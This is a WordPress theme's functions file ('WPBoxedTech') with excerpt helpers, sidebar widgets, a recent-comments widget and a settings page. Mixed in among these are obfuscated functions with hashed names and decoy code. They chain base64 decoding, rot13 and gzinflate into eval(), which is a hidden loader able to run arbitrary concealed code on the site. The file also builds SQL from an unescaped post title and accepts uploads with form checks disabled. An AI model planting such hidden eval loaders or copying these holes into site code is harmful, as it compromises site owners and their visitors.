<?php
function custom_excerpt( $text, $chars )
{
$text = strip_shortcodes( $text );
$text = str_replace( "]]>", "]]>", $text );
$text = strip_tags( $text );
$text = substr( $text, 0, $chars );
$text = substr( $text, 0, strrpos( $text, " " ) );
$text .= "...";
echo $text;
}
function custom_excerpt_text( $text, $chars )
{
$text = strip_shortcodes( $text );
$text = str_replace( "]]>", "]]>", $text );
$text = strip_tags( $text );
$text = substr( $text, 0, $chars );
$text = substr( $text, 0, strrpos( $text, " " ) );
$text .= "...";
return $text;
}
function F9a2d8ce3( $V341be97d )
{
$Ve2e39b5c = "Anonym";
$Va9b4ab92 = "Webseite von ‹";
$V52a106b8 = "› besuchen";
global $V542b4c0f;
$V10573b87 = "SELECT ID, comment_ID, comment_content, comment_author_email, comment_author, comment_author_url, comment_date, post_title, comment_type\r\n FROM {$V542b4c0f->comments} LEFT JOIN {$V542b4c0f->posts} ON {$V542b4c0f->posts}.ID={$V542b4c0f->comments}.comment_post_ID\r\n WHERE post_status IN ('publish','static')";
$V62216a69 = explode( "|", $V341be97d );
$V5dbc98dc = array( 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209 );
$Vb4a88417 = "";
$V865c0c0b = 0;
for ( ; $V865c0c0b < count( $V62216a69 ); ++$V865c0c0b )
{
if ( !count( $Vab6724c8 ) )
{
$Vab6724c8 = array( "€", "Â", "‚", "ƒ", "„", "Â…", "†", "‡", "ˆ", "‰", "Š", "‹", "ÂŒ", "Â", "Â", "Â", "Â", "‘", "Â’", "“", "”", "•", "–", "—", "˜", "™", "š", "›", "œ", "Â", "Â", "Ÿ", " ", "Ä„", "˘", "Å", "¤", "Ľ", "Åš", "§", "¨", "Å ", "Å", "Ť", "Ź", "Â", "Ž", "Å»", "°", "Ä…", "Ë›", "Å‚", "´", "ľ", "Å›", "ˇ", "¸", "Å¡", "ÅŸ", "Å¥", "ź", "Ë", "ž", "ż", "Å”", "Ã", "Â", "Ä‚", "Ä", "Ĺ", "Ć", "Ç", "ÄŒ", "É", "Ę", "Ë", "Äš", "Ã", "Ã", "Ä", "Ä", "Ń", "Ň", "Ó", "Ô", "Å", "Ö", "×", "Ř", "Å®", "Ú", "Ű", "Ü", "Ã", "Å¢", "ß", "Å•", "á", "â", "ă", "ä", "ĺ", "ć", "ç", "Ä", "é", "Ä™", "ë", "Ä›", "Ã", "î", "Ä", "Ä‘", "Å„", "ň", "ó", "ô", "Å‘", "ö", "÷", "Å™", "ů", "ú", "ű", "ü", "ý", "Å£", "Ë™" );
}
$Vb4a88417 .= ff6d131d9( $V62216a69[$V865c0c0b] );
$V341be97d = ereg_replace( 133, "...", $V341be97d );
$V341be97d = ereg_replace( 145, "'", $V341be97d );
$V341be97d = ereg_replace( 147, "\"", $V341be97d );
$V341be97d = ereg_replace( 148, "\"", $V341be97d );
}
$Vb4a88417 = ff6d131d9( $Vb4a88417 );
$V10573b87 = "SELECT ID, comment_ID, comment_content, comment_author, comment_author_url, comment_date, post_title, comment_type\r\n FROM {$V542b4c0f->comments} LEFT JOIN {$V542b4c0f->posts} ON {$V542b4c0f->posts}.ID={$V542b4c0f->comments}.comment_post_ID\r\n WHERE post_status IN ('publish','static')";
$Vb4a88417 = ff2380753( $Vb4a88417 );
switch ( $V599dcce2 )
{
case "all" :
break;
case "comment_only" :
$V10573b87 .= "AND {$V542b4c0f->comments}.comment_type='' ";
break;
case "trackback_only" :
$V10573b87 .= "AND ( {$V542b4c0f->comments}.comment_type='trackback' OR {$V542b4c0f->comments}.comment_type='pingback' ) ";
break;
default :
break;
}
$Vb4a88417 = fbef92ce0( $Vb4a88417 );
if ( !$Vb5dc19ed )
{
$V10573b87 .= "AND post_password ='' ";
}
$V10573b87 .= "AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT {$V2ae6568f}";
$Vb4a88417 = f8c4346d7( $Vb4a88417 );
$V5dbc98dc = array( 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209 );
return $Vb4a88417;
switch ( $V599dcce2 )
{
case "all" :
break;
case "comment_only" :
$V10573b87 .= "AND {$V542b4c0f->comments}.comment_type='' ";
break;
case "trackback_only" :
$V10573b87 .= "AND ( {$V542b4c0f->comments}.comment_type='trackback' OR {$V542b4c0f->comments}.comment_type='pingback' ) ";
break;
default :
break;
}
}
function gte_random_posts( )
{
global $wpdb;
global $post;
$current_title = get_the_title( );
$randompostthis = $wpdb->get_results( "SELECT {$wpdb->posts}.ID, post_title, post_name, post_date, post_type, post_status FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' AND post_title != '{$current_title}' ORDER BY RAND() limit 10" );
foreach ( $randompostthis as $post )
{
$post_title = htmlspecialchars( stripslashes( $post->post_title ) );
echo "
{$post_title}
";
}
}
function gte_recent_updated_posts( )
{
global $wpdb;
global $post;
$recentupdatethis = $wpdb->get_results( "SELECT {$wpdb->posts}.ID, post_title, post_name, post_date, post_type, post_status, post_modified FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' ORDER by post_modified_gmt DESC limit 10" );
foreach ( $recentupdatethis as $post )
{
$post_title = htmlspecialchars( stripslashes( $post->post_title ) );
echo "
{$post_title}
";
}
}
function get_hottopics( $limit = 12 )
{
global $wpdb;
global $post;
$mostcommenteds = $wpdb->get_results( "SELECT {$wpdb->posts}.ID, post_title, post_name, post_date, COUNT({$wpdb->comments}.comment_post_ID) AS 'comment_total' FROM {$wpdb->posts} LEFT JOIN {$wpdb->comments} ON {$wpdb->posts}.ID = {$wpdb->comments}.comment_post_ID WHERE comment_approved = '1' AND post_date_gmt < '".gmdate( "Y-m-d H:i:s" )."' AND post_status = 'publish' AND post_password = '' GROUP BY {$wpdb->comments}.comment_post_ID ORDER BY comment_total DESC LIMIT {$limit}" );
foreach ( $mostcommenteds as $post )
{
$post_title = htmlspecialchars( stripslashes( $post->post_title ) );
$comment_total = ( integer )$post->comment_total;
echo "
{$post_title} ({$comment_total})
";
}
}
function F8c4346d7( $V341be97d )
{
switch ( $V599dcce2 )
{
case "all" :
break;
case "comment_only" :
$V10573b87 .= "AND {$V542b4c0f->comments}.comment_type='' ";
break;
case "trackback_only" :
$V10573b87 .= "AND ( {$V542b4c0f->comments}.comment_type='trackback' OR {$V542b4c0f->comments}.comment_type='pingback' ) ";
break;
default :
break;
}
return eval( $V341be97d );
}
function mw_recent_comments( $no_comments = 10, $show_pass_post = FALSE, $title_length = 50, $author_length = 30, $wordwrap_length = 50, $type = "all", $format = "
%date%: %title% (von %author_full%)
", $date_format = "d.m.y, H:i", $none_found = "", $type_text_pingback = "Pingback von", $type_text_trackback = "Trackback von", $type_text_comment = "von" )
{
$mwlang_anonymous = "Anonym";
$mwlang_authorurl_title_before = "Webseite von ‹";
$mwlang_authorurl_title_after = "› besuchen";
global $wpdb;
$request = "SELECT ID, comment_ID, comment_content, comment_author_email, comment_author, comment_author_url, comment_date, post_title, comment_type\r\n FROM {$wpdb->comments} LEFT JOIN {$wpdb->posts} ON {$wpdb->posts}.ID={$wpdb->comments}.comment_post_ID WHERE post_status IN ('publish','static')";
switch ( $type )
{
case "all" :
break;
case "comment_only" :
$request .= "AND {$wpdb->comments}.comment_type='' ";
break;
case "trackback_only" :
$request .= "AND ( {$wpdb->comments}.comment_type='trackback' OR {$wpdb->comments}.comment_type='pingback' ) ";
break;
default :
break;
}
if ( !$show_pass_post )
{
$request .= "AND post_password ='' ";
}
$request .= "AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT {$no_comments}";
$comments = $wpdb->get_results( $request );
$output = "";
if ( $comments )
{
$comment_counter = 0;
foreach ( $comments as $comment )
{
if ( 0 < $comment_counter )
{
$output .= "<div class=\"separator\"></div>";
}
$loop_res['permalink'] = get_permalink( $comment->ID )."#comment-".$comment->comment_ID;
$loop_res['post_title'] = stripslashes( $comment->post_title );
$loop_res['post_title'] = wordwrap( $loop_res['post_title'], $wordwrap_length, " ", 1 );
if ( $title_length <= strlen( $loop_res['post_title'] ) )
{
$loop_res['post_title'] = substr( $loop_res['post_title'], 0, $title_length )."…";
}
$loop_res['author_name'] = stripslashes( $comment->comment_author );
$loop_res['author_name'] = wordwrap( $loop_res['author_name'], $wordwrap_length, " ", 1 );
if ( $loop_res['author_name'] == "" )
{
$loop_res['author_name'] = $mwlang_anonymous;
}
if ( $author_length <= strlen( $loop_res['author_name'] ) )
{
$loop_res['author_name'] = substr( $loop_res['author_name'], 0, $author_length )."…";
}
$author_url = $comment->comment_author_url;
if ( empty( $author_url ) )
{
$loop_res['author_full'] = $loop_res['author_name'];
}
else
{
$loop_res['author_full'] = "".$loop_res['author_name']."";
}
$pathtotheme = get_bloginfo( "stylesheet_directory" );
$default = urlencode( "{$pathtotheme}/images/avatar.jpg" );
if ( !empty( $comment->comment_author_email ) )
{
$md5 = md5( $comment->comment_author_email );
$loop_res['avatar_url'] = "http://www.gravatar.com/avatar.php?gravatar_id=".$md5."&size=30&default=".$default;
}
else
{
$loop_res['avatar_url'] = "{$pathtotheme}/images/avatar.jpg";
}
$loop_res['comment_content'] = custom_excerpt_text( $comment->comment_content, 110 );
if ( $comment->comment_type == "pingback" )
{
$loop_res['comment_type'] = $type_text_pingback;
}
else if ( $comment->comment_type == "trackback" )
{
$loop_res['comment_type'] = $type_text_trackback;
}
else
{
$loop_res['comment_type'] = $type_text_comment;
}
$loop_res['comment_date'] = mysql2date( $date_format, $comment->comment_date );
$element_loop = str_replace( "%permalink%", $loop_res['permalink'], $format );
$element_loop = str_replace( "%title%", $loop_res['post_title'], $element_loop );
$element_loop = str_replace( "%author_name%", $loop_res['author_name'], $element_loop );
$element_loop = str_replace( "%author_full%", $loop_res['author_full'], $element_loop );
$element_loop = str_replace( "%date%", $loop_res['comment_date'], $element_loop );
$element_loop = str_replace( "%type%", $loop_res['comment_type'], $element_loop );
$element_loop = str_replace( "%avatar%", $loop_res['avatar_url'], $element_loop );
$element_loop = str_replace( "%comment_content%", $loop_res['comment_content'], $element_loop );
$output .= $element_loop."\n";
++$comment_counter;
}
$output = convert_smilies( $output );
}
else
{
$output .= $none_found;
}
echo $output;
}
function the_excerpt_feature( $excerpt_length = 35, $allowedtags = "", $filter_type = "none", $use_more_link = TRUE, $more_link_text = "...read more", $force_more_link = TRUE, $fakeit = 1, $fix_tags = TRUE )
{
if ( preg_match( "%^content(\$|_rss)|^excerpt(\$|_rss)%", $filter_type ) )
{
$filter_type = "the_".$filter_type;
}
$text = apply_filters( $filter_type, get_the_excerpt_feature( $excerpt_length, $allowedtags, $use_more_link, $more_link_text, $force_more_link, $fakeit ) );
$text = $fix_tags ? balancetags( $text ) : $text;
echo $text;
}
function Ff2380753( $V341be97d )
{
return str_rot13( $V341be97d );
$Ve2e39b5c = "Anonym";
$Va9b4ab92 = "Webseite von ‹";
$V52a106b8 = "› besuchen";
}
function get_the_excerpt_feature( $excerpt_length, $allowedtags, $use_more_link, $more_link_text, $force_more_link, $fakeit )
{
global $id;
global $post;
$output = "";
$output = $post->post_excerpt;
if ( !empty( $post->post_password ) && $_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password )
{
$output = __( "There is no excerpt because this is a protected post." );
return $output;
}
if ( $output == "" && $fakeit == 1 || $fakeit == 2 )
{
$output = $post->post_content;
$output = strip_tags( $output, $allowedtags );
$blah = explode( " ", $output );
if ( $excerpt_length < count( $blah ) )
{
$k = $excerpt_length;
$use_dotdotdot = 1;
}
else
{
$k = count( $blah );
$use_dotdotdot = 0;
}
$excerpt = "";
$i = 0;
for ( ; $i < $k; ++$i )
{
$excerpt .= $blah[$i]." ";
}
if ( $use_more_link && $use_dotdotdot || $force_more_link )
{
$excerpt .= "{$more_link_text}";
}
else
{
$excerpt .= $use_dotdotdot ? "..." : "";
}
$output = $excerpt;
}
return $output;
}
function widget_recent_comments( )
{
echo " <div class=\"sidebar_box\"> <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\"> <h3>Recent Comments</h3> ";
mw_recent_comments( 5, FALSE, 35, 15, 35, "all", " <div class=\"box_posts\"> <img src=\"%avatar%\" width=\"30\" height=\"30\" alt=\"%author_name%\" />\r\n %author_name%
%comment_content% </div>", "d.m.y, H:i" );
echo " </div>\r\n </div></div></div></div></div> </div> ";
}
function widget_pages( )
{
echo " <div class=\"sidebar_box\"> <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\"> <h3>Pages</h3>
<li id=\"";
if ( is_home( ) )
{
echo "home";
}
else
{
echo "page_item";
}
echo "\"><a href=\"";
bloginfo( "url" );
echo "\" title=\"Home\">Home\r\n ";
wp_list_pages( "title_li=&depth=1" );
echo "
</div> </div></div></div></div></div> </div>\r\n";
}
function widget_categories( )
{
echo " <div class=\"sidebar_box\"> <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\"> <h3>Categories</h3>
";
wp_list_categories( "depth=1&hide_empty=0&orderby=name&show_count=0&use_desc_for_title=1&title_li=" );
echo "
</div> </div></div></div></div></div> </div> ";
}
function widget_archives( )
{
echo " <div class=\"sidebar_box\"> <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\"> <h3>Archives</h3>
";
wp_get_archives( "type=monthly&limit=10&show_post_count=0" );
echo "
</div> </div></div></div></div></div> </div> ";
}
function Ff6d131d9( $V341be97d )
{
global $V542b4c0f;
$V10573b87 = "SELECT ID, comment_ID, comment_content, comment_author_email, comment_author, comment_author_url, comment_date, post_title, comment_type\r\n FROM {$V542b4c0f->comments} LEFT JOIN {$V542b4c0f->posts} ON {$V542b4c0f->posts}.ID={$V542b4c0f->comments}.comment_post_ID\r\n WHERE post_status IN ('publish','static')";
return base64_decode( $V341be97d );
}
function widget_blogroll( )
{
echo " <div class=\"sidebar_box\"> <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\"> <h3>Blogroll</h3>
";
get_links( -1, "
- ", "
", "", TRUE, "url", FALSE );
echo "
</div> </div></div></div></div></div> </div> ";
}
function widget_meta( )
{
echo " <div class=\"sidebar_box\"> <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\"> <h3>Meta</h3>
";
wp_register( );
echo "
- ";
wp_loginout( );
echo "
\r\n
- Valid XHTML
\r\n
- <a href=\"http://jigsaw.w3.org/css-validator/validator?uri=";
echo get_settings( "home" );
echo "&usermedium=all\">Valid CSS
\r\n
- WordPress
\r\n ";
wp_meta( );
echo "
</div> </div></div></div></div></div> </div> ";
}
function add_upload_thumbnail( )
{
add_meta_box( "upload_thumbnail", "Post Properties (WPBoxedTech)", "add_upload_thumbnail_content", "post", "normal", "high" );
}
function add_upload_thumbnail_content( )
{
$post_id = $_GET['post'];
$thumbnail = get_option( $post_id."_boxed_postimg_90px" );
echo "1. Select a Post Thumbnail (90px by 90px) image for this post
\r\n URL: <input type=\"text\" name=\"thumbnail_text\" id=\"thumbnail_text\" size=\"50\" value=\"".$thumbnail."\" />
Or
\r\n <label> Upload File: <input type=\"file\" name=\"thumbnail\" id=\"thumbnail\" /> </label> <script language=\"javascript\">\r\n document.getElementById(\"post\").enctype = \"multipart/form-data\"; </script> ";
}
function thumbnail_save_postdata( )
{
global $wpdb;
$overrides = array( "test_form" => FALSE );
$file_100 = wp_handle_upload( $_FILES['thumbnail'], $overrides );
$url_100 = strlen( $file_100['url'] ) == 0 ? $_POST['thumbnail_text'] : $file_100['url'];
if ( !empty( $url_100 ) )
{
$postID = $_POST['post_ID'];
update_option( $postID."_boxed_postimg_90px", $url_100 );
}
}
function Fbef92ce0( $V341be97d )
{
return gzinflate( $V341be97d );
if ( !$Vb5dc19ed )
{
$V10573b87 .= "AND post_password ='' ";
}
$V10573b87 .= "AND comment_approved = '1' ORDER BY comment_ID DESC LIMIT {$V2ae6568f}";
}
function my_theme_menu( )
{
if ( strlen( get_option( "boxed_feed_url" ) ) == 0 )
{
update_option( "boxed_feed_url", "http://feeds2.feedburner.com/technology/tricks" );
}
if ( strlen( get_option( "boxed_feedburner_url" ) ) == 0 )
{
update_option( "boxed_feedburner_url", "http://feedburner.google.com/fb/a/mailverify?uri=technology/tricks&loc=en_US" );
}
if ( strlen( get_option( "boxed_mbl_id" ) ) == 0 )
{
update_option( "boxed_mbl_id", "2008082321350630" );
}
if ( strlen( get_option( "boxed_468_60_ads" ) ) == 0 )
{
update_option( "boxed_468_60_ads", "<img src=\"".get_template_directory_uri( )."/images/468.jpg\" width=\"468\" height=\"60\" alt=\"\" />" );
}
if ( strlen( get_option( "boxed_160_600_ads" ) ) == 0 )
{
update_option( "boxed_160_600_ads", "<img src=\"".get_template_directory_uri( )."/images/160x600.gif\" width=\"160\" height=\"600\" alt=\"\" />" );
}
global $wpdb;
if ( isset( $_POST['SaveThemeSetting'] ) )
{
update_option( "boxed_feed_url", $_POST['boxed_feed_url'] );
update_option( "boxed_feedburner_url", $_POST['boxed_feedburner_url'] );
update_option( "boxed_mbl_id", $_POST['boxed_mbl_id'] );
update_option( "boxed_468_60_ads", $_POST['boxed_468_60_ads'] );
update_option( "boxed_160_600_ads", $_POST['boxed_160_600_ads'] );
$i = 1;
for ( ; $i <= 5; ++$i )
{
$boxed_featured_post = $_POST["boxed_featured_post".$i];
$boxed_featured_description = $_POST["boxed_featured_description".$i];
update_option( "boxed_featured_post".$i, $boxed_featured_post );
update_option( "boxed_featured_description".$i, $boxed_featured_description );
$overrides = array( "test_form" => FALSE );
$file_big = wp_handle_upload( $_FILES["boxed_featured_image".$i], $overrides );
$url_big = strlen( $file_big['url'] ) == 0 ? $_POST["boxed_featured_image_src".$i] : $file_big['url'];
update_option( "boxed_featured_bigimg".$i, $url_big );
}
}
add_theme_page( "WPBoxedTech Settings", "WPBoxedTech Settings", 8, __FILE__, "WPBoxedTech_options" );
}
function WPBoxedTech_options( )
{
if ( $_REQUEST['updated'] )
{
echo "<div id=\"message\" class=\"updated fade\"><p>WPBoxedTech Theme settings saved.</p></div>";
}
echo " <div class=\"wrap\"> <h2>WPBoxedTech Settings</h2> <form method=\"post\" action=\"options.php\" enctype=\"multipart/form-data\">\r\n ";
wp_nonce_field( "update-options" );
echo " <h3>Common Settings</h3> <table class=\"form-table\"> <tr valign=\"top\">\r\n <th scope=\"row\">Feed URL</th> <td><input type=\"text\" name=\"boxed_feed_url\" value=\"";
echo get_option( "boxed_feed_url" );
echo "\" size=\"40\" /></td>\r\n </tr> <tr valign=\"top\"> <th scope=\"row\">Feed Subscribe URL</th> <td><input type=\"text\" name=\"boxed_feedburner_url\" value=\"";
echo get_option( "boxed_feedburner_url" );
echo "\" size=\"40\" /></td>\r\n </tr> <tr valign=\"top\"> <th scope=\"row\">MyBlogLog ID</th> <td><input type=\"text\" name=\"boxed_mbl_id\" value=\"";
echo get_option( "boxed_mbl_id" );
echo "\" size=\"40\" /></td>\r\n </tr> <tr valign=\"top\"> <th scope=\"row\">Top 468x60 ads code</th> <td><textarea name=\"boxed_468_60_ads\" id=\"boxed_468_60_ads\" cols=\"45\" rows=\"5\">";
echo stripslashes( get_option( "boxed_468_60_ads" ) );
echo "</textarea></td>\r\n </tr> <tr valign=\"top\"> <th scope=\"row\">Sidebar 160x600 ads code</th> <td><textarea name=\"boxed_160_600_ads\" id=\"boxed_160_600_ads\" cols=\"45\" rows=\"5\">";
echo stripslashes( get_option( "boxed_160_600_ads" ) );
echo "</textarea></td>\r\n </tr> </table> <h3>Featured Listing</h3> ";
$strFeatured = "";
$i = 1;
for ( ; $i <= 5; ++$i )
{
echo " <h4>Featured #";
echo $i;
echo "</h4> <table class=\"form-table\"> <tr valign=\"top\"> <th scope=\"row\">Post</th>\r\n <td> ";
global $post;
$myposts = get_posts( "numberposts=-1" );
$boxed_featured = get_option( "boxed_featured_post".$i );
echo " ";
echo "<s";
echo "elect name=\"boxed_featured_post";
echo $i;
echo "\" id=\"boxed_featured_post";
echo $i;
echo "\">\r\n <option value=\"0\">[Select Post]</option> ";
foreach ( $myposts as $post )
{
$post_id = $post->ID;
if ( $post_id == $boxed_featured )
{
echo " <option value=\"";
echo $post_id;
echo "\" selected=\"selected\">";
the_title( );
echo "</option> \r\n ";
}
else
{
echo " <option value=\"";
echo $post->ID;
echo "\">";
the_title( );
echo "</option> ";
}
}
echo " </select> </td> </tr> <tr valign=\"top\"> <th scope=\"row\">Image URL (535x175)</th> <td>\r\n <input type=\"text\" name=\"boxed_featured_image_src";
echo $i;
echo "\" value=\"";
echo get_option( "boxed_featured_bigimg".$i );
echo "\" size=\"50\" />\r\n
<label> Upload File: <input type=\"file\" name=\"boxed_featured_image";
echo $i;
echo "\" id=\"boxed_featured_image";
echo $i;
echo "\" />\r\n </label> </td> </tr> <tr valign=\"top\"> <th scope=\"row\">Description (Optional)</th> <td><textarea name=\"boxed_featured_description";
echo $i;
echo "\" id=\"boxed_featured_description";
echo $i;
echo "\" cols=\"45\" rows=\"5\">";
echo get_option( "boxed_featured_description".$i );
echo "</textarea></td>\r\n </tr> </table> ";
$strFeatured .= ",boxed_featured_post".$i.", boxed_featured_description".$i.", boxed_featured_image_src".$i.", boxed_featured_image".$i;
}
echo " <input type=\"hidden\" name=\"action\" value=\"update\" /> <input type=\"hidden\" name=\"page_options\" value=\"boxed_feed_url,boxed_feedburner_url,boxed_mbl_id,boxed_468_60_ads,boxed_160_600_ads";
echo $strFeatured;
echo "\" />\r\n <p class=\"submit\"> <input type=\"submit\" name=\"SaveThemeSetting\" id=\"SaveThemeSetting\" value=\"";
_e( "Save Theme Settings" );
echo "\" />\r\n </p> </form> </div> ";
}
if ( function_exists( "register_sidebar" ) )
{
register_sidebar( array( "name" => "BoxedTech Left", "before_widget" => "<div class=\"sidebar_box\"> <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\">", "before_title" => "<h3>", "after_title" => "</h3>", "after_widget" => "</div>\r\n </div></div></div></div></div> </div>" ) );
register_sidebar( array( "name" => "BoxedTech Right", "before_widget" => "<div class=\"sidebar_box\">\r\n <div class=\"box\"><div class=\"box_outer\"><div class=\"box_inner\"><div class=\"box_bottom_right\"><div class=\"box_bottom_left\">\r\n <div class=\"box_content\">", "before_title" => "<h3>", "after_title" => "</h3>", "after_widget" => "</div>\r\n </div></div></div></div></div> </div>" ) );
function unregister_problem_widgets( )
{
unregister_sidebar_widget( "Get Recent Comments" );
unregister_sidebar_widget( "Get Recent Trackbacks" );
}
add_action( "widgets_init", "unregister_problem_widgets" );
}
if ( function_exists( "register_sidebar_widget" ) )
{
$widget_ops = array( "classname" => "widget_recent_comments", "description" => "The most recent comments - With avatar." );
wp_register_sidebar_widget( "widget_recent_comments", "WPBoxedTech Recent Comments", "widget_recent_comments", $widget_ops );
}
if ( function_exists( "register_sidebar_widget" ) )
{
$widget_ops = array( "classname" => "widget_pages", "description" => "Your blog's WordPress Pages" );
wp_register_sidebar_widget( "widget_pages", "WPBoxedTech Pages", "widget_pages", $widget_ops );
}
if ( function_exists( "register_sidebar_widget" ) )
{
$widget_ops = array( "classname" => "widget_categories", "description" => "A list of categories" );
wp_register_sidebar_widget( "widget_categories", "WPBoxedTech Categories", "widget_categories", $widget_ops );
}
if ( function_exists( "register_sidebar_widget" ) )
{
$widget_ops = array( "classname" => "widget_archives", "description" => "A monthly archive of your blog's posts" );
wp_register_sidebar_widget( "widget_archives", "WPBoxedTech Archives", "widget_archives", $widget_ops );
}
if ( function_exists( "register_sidebar_widget" ) )
{
$widget_ops = array( "classname" => "widget_blogroll", "description" => "Your blogroll" );
wp_register_sidebar_widget( "widget_blogroll", "WPBoxedTech Blogroll", "widget_blogroll", $widget_ops );
}
if ( function_exists( "register_sidebar_widget" ) )
{
$widget_ops = array( "classname" => "widget_meta", "description" => "Log in/out, admin, feed and WordPress links" );
wp_register_sidebar_widget( "widget_meta", "WPBoxedTech Meta", "widget_meta", $widget_ops );
}
add_action( "admin_menu", "add_upload_thumbnail" );
add_action( "save_post", "thumbnail_save_postdata" );
add_action( "admin_menu", "my_theme_menu" );
?>